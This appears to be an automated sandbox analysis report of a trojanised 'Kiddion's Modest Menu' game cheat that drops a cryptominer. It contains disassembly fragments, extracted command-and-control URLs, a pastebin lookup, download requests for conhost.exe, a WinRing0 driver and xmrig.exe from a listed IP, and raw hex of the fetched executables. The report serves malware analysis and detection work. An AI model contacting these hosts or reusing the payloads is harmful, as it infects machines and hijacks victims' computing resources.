Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016824681.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2016929516.000000000161A000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.2017495532.0000000001604000.00000004.00000020.00020000.00000000.sdmp, Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2394339673.000000000161D000.00000004.00000020.00020000.00000000.sdmp, 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000000.1416561359.0000000000662000.00000002.00000001.01000000.00000008.sdmp, 1C2NX3IUVJPXMLDGP.exe.2.dr
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: 1C2NX3IUVJPXMLDGP.exe, 0000000E.00000002.1489565252.0000000002BBC000.00000004.00000800.00020000.00000000.sdmp, WinRing0x64.sys.14.dr

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A3FCDE FindFirstFileExW,	0_2_00A3FCDE
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 0_2_00A3FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00A3FD8F
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A3FCDE FindFirstFileExW,	2_2_00A3FCDE
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 2_2_00A3FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	2_2_00A3FD8F

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then lea eax, dword ptr [esp+48h]	2_2_0041108E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+4417E890h]	2_2_0044E960
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	2_2_0044D130
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-31864DE8h]	2_2_00430180
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-190DB6A4h]	2_2_00430180
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+47419432h]	2_2_00430180
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+4F38BC58h]	2_2_0042C9A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+0Ch]	2_2_0044D240
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000E8h]	2_2_004132C9
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00437B5C
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+000002B0h]	2_2_0041BBA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041BBA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041BBA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx+4417E88Ch]	2_2_0044DD50
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+4Ch]	2_2_004216A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-4C3CF2B1h]	2_2_004216A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi-4FC6521Ah]	2_2_00444EA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+30h]	2_2_0044B775
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+4417E890h]	2_2_0044E7E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_00432F10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then push 00000000h	2_2_004338F0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_004388A5
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebx, bx	2_2_0042F11D
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_00437B5C
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004309A7
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then jmp ecx	2_2_0044C24B
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-40234BF6h]	2_2_0044BA55
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov dword ptr [esp], edx	2_2_0041EA67
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov dword ptr [esp], edx	2_2_0041EA67
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov edi, dword ptr [esp+04h]	2_2_0041EA67
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+151E8BBCh]	2_2_0041EA67
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov eax, ebx	2_2_00424A00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx]	2_2_00446A09
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+64h]	2_2_0043723A
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+238384E0h]	2_2_0043723A
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-20540288h]	2_2_004492D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-20540288h]	2_2_004492D0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+50h]	2_2_004292E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [ebp+00h], cx	2_2_004292E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_004342A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+64h]	2_2_004372AB
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+238384E0h]	2_2_004372AB
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00441AB0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then jmp eax	2_2_0040FABA
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_0040A340
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_0040A340
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then jmp ecx	2_2_0044C340
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+151E8BBCh]	2_2_0041E30E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov dword ptr [esp+24h], ecx	2_2_0044A31E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-000000BAh]	2_2_0044A31E
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-4D3273BFh]	2_2_0042DB32
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-2D8681AAh]	2_2_0042DB32
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+74h]	2_2_0042DB32
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then push ebp	2_2_004113E5
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	2_2_00449B90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-190DB6A0h]	2_2_004313A8
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_0041DC46
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx+08h]	2_2_0043247B
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+eax-761C0E5Ch]	2_2_0040E4E2
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h	2_2_00431CF8
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_00412C81
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+64h]	2_2_00436CAF
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+238384E0h]	2_2_00436CAF
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-5B452AFEh]	2_2_0040D4B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-4C66CD08h]	2_2_00420D00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edi+0Dh]	2_2_00420D00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+ecx+01A3AABCh]	2_2_00420D00
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+3Ch]	2_2_004335E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+ebx+04h]	2_2_004335E0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041C590
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0041C590
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h	2_2_00448DA0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then jmp eax	2_2_0040E5B1
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00430650
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+64h]	2_2_00436E05
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+238384E0h]	2_2_00436E05
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx ebp, word ptr [ecx]	2_2_0044D6A0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0041AF40
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	2_2_0041F77A
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov word ptr [esi], cx	2_2_00432F10
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov dword ptr [esp+08h], ebx	2_2_004467E1
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 93A82FD1h	2_2_00448F90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-20540284h]	2_2_00448F90
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_004027B0
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00437FB8
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_00437FBE
Source: C:\Users\user\AppData\Local\Temp\1C2NX3IUVJPXMLDGP.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_00D84668

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: citydisco.bet/gdJIS
Source: Malware configuration extractor	URLs: featureccus.shop/bdMAn
Source: Malware configuration extractor	URLs: mrodularmall.top/aNzS
Source: Malware configuration extractor	URLs: jowinjoinery.icu/bdWUa
Source: Malware configuration extractor	URLs: legenassedk.top/bdpWO
Source: Malware configuration extractor	URLs: htardwarehu.icu/Sbdsa
Source: Malware configuration extractor	URLs: cjlaspcorne.icu/DbIps
Source: Malware configuration extractor	URLs: bugildbett.top/bAuz

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 04:46:37 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7a 58 21 9a 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 48 00 00 00 0a 00 00 00 00 00 00 3a 66 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e7 65 00 00 4f 00 00 00 00 80 00 00 b8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 34 65 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 46 00 00 00 20 00 00 00 48 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 06 00 00 00 80 00 00 00 08 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 66 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 36 00 00 dc 2c 00 00 03 00 02 00 10 00 00 06 c4 63 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 04 00 b5 00 00 00 01 00 00 11 02 14 7d 1c 00 00 04 02 28 14 00 00 0a 00 00 02 28 06 00 00 06 00 28 05 00 00 06 00 28 03 00 00 06 00 02 28 0b 00 00 06 00 02 28 0a 00 00 06 00 7e 19 00 00 04 72 01 00 00 70 6f 15 00 00 0a 0a 06 2c 30 00 7e 03 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 7e 0f 00 00 04 7e 12 00 00 04 72 23 00 00 70 16 28 04 00 00 06 00 00 2b 18 00 7e 02 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 00 7e 01 00 00 04 7e 12 00 00 04 72 43 00 00 70 16 28 04 00 00 06 00 28 08 00 00 06 00 28 0c 00 00 06 00 02 28 0e 00 00 06 00 2a 00 00 00 13 30 03 00 21 00 00 00 02 00 00 11 00 02 28 16 00 00 0a 0a 06 25 6f 17 00 00 0a 20 80 00 00 00 60 6f 18 00 00 0a 00 06 0b 2b 00 07 2a 00 00 00 1b 30 04 00 a7 01 00 00 03 00 00 11 00 00 20 00 0f 00 00 28 19 00 00 0a 00 20 10 27 00 00 8d 31 00 00 01 0a 16 0b 16 0c 73 1a 00 00 0a 0d 09 7e 10 00 00 04 6f 1b 00 00 0a 13 04 11 04 73 1c 00 00 0a 13 05 00 06 16 72 5b
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 04:46:43 GMTContent-Type: application/octet-streamContent-Length: 14544Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-38d0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 35 3a 6e fc 71 5b 00 af 71 5b 00 af 71 5b 00 af 71 5b 01 af 7d 5b 00 af 56 9d 7b af 74 5b 00 af 56 9d 7d af 70 5b 00 af 56 9d 6d af 72 5b 00 af 56 9d 71 af 70 5b 00 af 56 9d 7c af 70 5b 00 af 56 9d 78 af 70 5b 00 af 52 69 63 68 71 5b 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c1 26 8b 48 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 0c 00 00 00 0a 00 00 00 00 00 00 08 50 00 00 00 10 00 00 00 00 01 00 00 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 06 00 00 00 06 00 00 00 00 00 00 00 00 70 00 00 00 04 00 00 08 19 01 00 01 00 00 00 00 00 04 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 50 00 00 3c 00 00 00 00 60 00 00 c0 03 00 00 00 40 00 00 60 00 00 00 00 1a 00 00 d0 1e 00 00 00 00 00 00 00 00 00 00 70 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c6 06 00 00 00 10 00 00 00 08 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 68 2e 72 64 61 74 61 00 00 7c 01 00 00 00 20 00 00 00 02 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 2e 64 61 74 61 00 00 00 14 01 00 00 00 30 00 00 00 02 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c8 2e 70 64 61 74 61 00 00 60 00 00 00 00 40 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 48 49 4e 49 54 00 00 00 00 22 02 00 00 00 50 00 00 00 04 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e2 2e 72 73 72 63 00 00 00 c0 03 00 00 00 60 00 00 00 04 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 04:46:43 GMTContent-Type: application/octet-streamContent-Length: 8251392Last-Modified: Wed, 15 Jan 2025 19:13:17 GMTConnection: keep-aliveETag: "678808cd-7de800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 db 63 a2 64 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 10 5f 00 00 d8 7d 00 00 0c 32 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 b0 00 00 10 00 00 4c 7c 7e 00 03 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 ae 00 d8 46 00 00 00 40 af 00 e8 5c 00 00 00 10 76 00 9c ee 02 00 00 00 00 00 00 00 00 00 00 a0 af 00 6c 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 19 74 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c e0 ae 00 40 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 0a 5f 00 00 10 00 00 00 10 5f 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 60 04 01 00 00 20 5f 00 00 06 01 00 00 20 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 e0 dc 15 00 00 30 60 00 00 de 15 00 00 26 60 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 9c ee 02 00 00 10 76 00 00 f0 02 00 00 04 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 14 b9 03 00 00 00 79 00 00 ba 03 00 00 f4 78 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 e0 0a 32 00 00 c0 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 d8 46 00 00 00 d0 ae 00 00 48 00 00 00 ae 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 20 af 00 00 02 00 00 00 f6 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 30 af 00 00 02 00 00 00 f8 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 5c 00 00 00 40 af 00 e8 5c 00 00 00 fa 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 6c 8e 00 00 00 a0 af 00 00 90 00 00 00 58 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /raw/YpJeSRBC HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /conhost.exe HTTP/1.1Connection: Keep-AliveHost: 185.215.113.51
Source: global traffic	HTTP traffic detected: GET /WinRing0x64.sys HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xmrig.exe HTTP/1.1Host: 185.215.113.51Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49716 -> 188.114.96.3:443
